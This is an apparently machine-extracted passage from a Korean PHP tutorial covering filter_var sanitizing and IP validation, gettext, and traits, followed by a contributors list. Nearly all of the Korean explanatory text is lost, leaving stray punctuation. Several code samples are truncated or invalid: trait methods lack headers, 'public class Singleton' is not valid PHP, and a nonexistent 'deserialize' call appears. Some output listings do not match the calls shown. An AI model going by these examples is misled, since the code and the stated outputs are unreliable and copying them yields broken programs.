var_dump(filter_var(+1.00, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(-1.00, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('-1', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('+1', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('1.00', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('+1.00', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('-1.00', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('1 unicorn', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('-1 unicorn', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('+1 unicorn', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var("!#$%&'*+-=?^_`{|}~@.[]0123456789abcdefghijklmnopqrstuvwxyz",
FILTER_SANITIZE_NUMBER_INT));
string(1) "1"
string(2) "-1"
string(1) "1"
string(1) "1"
string(1) "1"
string(2) "-1"
string(1) "1"
string(2) "-1"
string(2) "+1"
string(3) "100"
string(4) "+100"
string(4) "-100"
string(1) "1"
string(2) "-1"
string(2) "+1"
string(12) "+-0123456789"
URL
Sanitze URLs
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y',
FILTER_SANITIZE_URL));
var_dump(filter_var("http://www.example.com/path/to/dir/index.php?test=y!#$%&'*+-
=?^_`{|}~.[]", FILTER_SANITIZE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=a b c',
https://riptutorial.com/ko/home 461
FILTER_SANITIZE_URL));
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(72) "http://www.example.com/path/to/dir/index.php?test=y!#$%&'*+-=?^_`{|}~.[]"
string(53) "http://www.example.com/path/to/dir/index.php?test=abc"
, + - .e .
var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT));
string(1) "1"
string(1) "1"
string(1) "1"
string(6) "100001"
string(1) "1"
string(2) "10"
string(5) "10000"
string(6) "100001"
string(4) "1000"
string(5) "10000"
string(8) "10000000"
string(9) "100000001"
string(9) "18281-009"
FILTER_FLAG_ALLOW_THOUSAND :
https://riptutorial.com/ko/home 462
:
string(1) "1"
string(1) "1"
string(6) "100001"
string(1) "1"
string(2) "10"
string(5) "10000"
string(6) "100001"
string(5) "1,000"
string(6) "1,0000"
string(9) "1,0000000"
string(10) "1,00000001"
string(9) "18281-009"
FILTER_FLAG_ALLOW_SCIENTIFIC :
string(1) "1"
string(1) "1"
string(1) "1"
string(6) "100001"
string(1) "1"
string(2) "10"
string(5) "10000"
string(6) "100001"
string(4) "1000"
string(5) "10000"
string(8) "10000000"
string(9) "100000001"
string(10) "18281e-009"
IP
IP .
var_dump(filter_var('185.158.24.24', FILTER_VALIDATE_IP));
var_dump(filter_var('2001:0db8:0a0b:12f0:0000:0000:0000:0001', FILTER_VALIDATE_IP));
https://riptutorial.com/ko/home 463
var_dump(filter_var('192.168.0.1', FILTER_VALIDATE_IP));
var_dump(filter_var('127.0.0.1', FILTER_VALIDATE_IP));
string(13) "185.158.24.24"
string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"
string(11) "192.168.0.1"
string(9) "127.0.0.1"
IPv4 IP :
string(13) "185.158.24.24"
bool(false)
string(11) "192.168.0.1"
string(9) "127.0.0.1"
IPv6 IP :
bool(false)
string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"
bool(false)
bool(false)
IP .
string(13) "185.158.24.24"
string(39) "2001:0db8:0a0b:12f0:0000:0000:0000:0001"
https://riptutorial.com/ko/home 464
bool(false)
string(9) "127.0.0.1"
IP .
string(13) "185.158.24.24"
bool(false)
string(11) "192.168.0.1"
bool(false)
: https://riptutorial.com/ko/php/topic/1679/---
https://riptutorial.com/ko/home 465
108:
• string gettext (string $message)
Examples
gettext ()
extension=php_gettext.dll #Windows
extension=gettext.so #Linux
PHP gettext() .
<?php
// Set language to French
putenv('LC_ALL= fr_FR');
setlocale(LC_ALL, 'fr_FR');
myPHPApp.po
#: /Hello_world.php:56
msgid "Hello"
msgstr "Bonjour"
#: /Hello_world.php:242
msgid "How are you?"
msgstr "Comment allez-vous?"
• ./locale/fr_FR/LC_MESSAGES/myPHPApp.mo .
https://riptutorial.com/ko/home 466
echo _("Have a nice day");
: https://riptutorial.com/ko/php/topic/2963/
https://riptutorial.com/ko/home 467
109:
Examples
.
interface Logger {
function log($message);
}
Foo .
trait LoggableTrait {
protected $logger;
https://riptutorial.com/ko/home 468
$this->logger->log($message);
}
}
}
Foo Bar .
class Foo {
use LoggableTrait;
}
class Bar {
use LoggableTrait;
}
Foo .
//note how we use the trait as a 'proxy' to call the Logger's log method on the Foo instance
$foo->log('my beautiful message');
. .
trait MeowTrait {
public function say() {
print "Meow \n";
}
}
trait WoofTrait {
public function say() {
print "Woof \n";
}
}
https://riptutorial.com/ko/home 469
}
PHP .
: TalkingParrot .
• insteadof
• WoofTrait::say as sayAsDog; WoofTrait::say as sayAsDog; WoofTrait::say as sayAsDog;
WoofTrait::say as sayAsDog;
trait Hello {
public function sayHello() {
echo 'Hello ';
}
}
trait World {
public function sayWorld() {
echo 'World';
}
}
class MyHelloWorld {
use Hello, World;
public function sayExclamationMark() {
echo '!';
}
}
$o = new MyHelloWorld();
$o->sayHello();
$o->sayWorld();
$o->sayExclamationMark();
Hello World!
https://riptutorial.com/ko/home 470
trait HelloWorld {
public function sayHello() {
echo 'Hello World!';
}
}
(new MyClass1())->sayHello();
// Fatal error: Uncaught Error: Call to protected method MyClass1::sayHello()
(new MyClass2())->myPrivateHello();
// Fatal error: Uncaught Error: Call to private method MyClass2::myPrivateHello()
(new MyClass2())->sayHello();
// Hello World!
trait Talk {
/** @var string */
public $phrase = 'Well Wilbur...';
public function speak() {
echo $this->phrase;
}
}
, . ( ). MrEd use .
https://riptutorial.com/ko/home 471
MrEd Talk MrEd . ? .
?
?
'' . . . Trait ., . 3 . . . ( , ). .
. .
interface Printable {
public function print();
//other interface methods...
}
interface Cacheable {
//interface methods
}
Article Trait .
Printable .
trait PrintableArticle {
//implements here the interface methods
public function print() {
/* code to print the article */
}
}
: . .
PHP .
https://riptutorial.com/ko/home 472
public class Singleton {
private $instance;
return self::$instance;
}
trait SingletonTrait {
private $instance;
return self::$instance;
}
class MyClass {
use SingletonTrait;
}
$myClass = MyClass::getInstance();
https://riptutorial.com/ko/home 473
$myClass = deserialize($serializedMyclass); // Error!
deserialize .
: https://riptutorial.com/ko/php/topic/999/
https://riptutorial.com/ko/home 474
S.
Contributors
No
2 APCu Joe
https://riptutorial.com/ko/home 475
Canis, cteski, Drew, EatPeanutButter, Ed Cottrell, Genhis,
greatwolf, Henrique Barcelos, Ivan, Jay, Machavity, Magisch,
Manolis Agkopian, Matt S, miken32, noufalcep, philwc, rap-2-h,
SOFe, tereško, Tgr, Toby Allen, tpunt, tyteen4a03, Vincent
Teyssier, Your Common Sense, Yury Fedorov
https://riptutorial.com/ko/home 476
30 URL A.L, Abhi Beckert, Asaph, Ernestas Stankevičius, miken32
44 Christian, georoot
46 georoot
https://riptutorial.com/ko/home 477
Alon Eitan, br3nt, Ed Cottrell, Gordon, Henrique Barcelos, John
48
Slegers, jwriteclub, Mohamed Belal
52 Mike, mnoronha
57 Benjam, SOFe
https://riptutorial.com/ko/home 478
Munesawagi, nalply, Nathaniel Ford, noufalcep, Perry,
Proger_Cbsk, rap-2-h, Raptor, Ravi Hirani, Rizier123, Robbie
Averill, Ruslan Bes, RyanNerd, SaitamaSama, Siguza, SOFe,
Sourav Ghosh, Sumurai8, Surabhil Sergy, tereško, Tgr,
Thibaud Dauce, Thijs Riezebeek, Thlbaut, tpunt, tyteen4a03,
Ultimater, unarist, Vic, vijaykumar, Yury Fedorov
https://riptutorial.com/ko/home 479
Adam Lear, Alon Eitan, brotherperes, bwoebi, Charlotte Dunois,
Community, Darren, daviddhont, georoot, gvre, Machavity,
Mansouri, matiaslauriti, Matt S, pilec, RamenChef, rap-2-h,
66 Robin Panta, Script47, secelite, Thijs Riezebeek, Thomas
Gerot, tim, tpunt, undefined, Undersc0re, Vincent Teyssier,
webDev, Xorifelse, Your Common Sense, Yury Fedorov,
Ziumin
67 yesitsme
https://riptutorial.com/ko/home 480
80 cjsimon, franga2000, Marten Koetsier, miken32, mnoronha
81 SirNarsh
89 bwoebi, think123
https://riptutorial.com/ko/home 481
94 Connor Gurney, Eisenheim, tyteen4a03
96 bwoebi
https://riptutorial.com/ko/home 482
Cédric Bourgot, Gabriel Solomon, Majid, RamenChef,
108
Sebastianb, Thijs Riezebeek, tyteen4a03
https://riptutorial.com/ko/home 483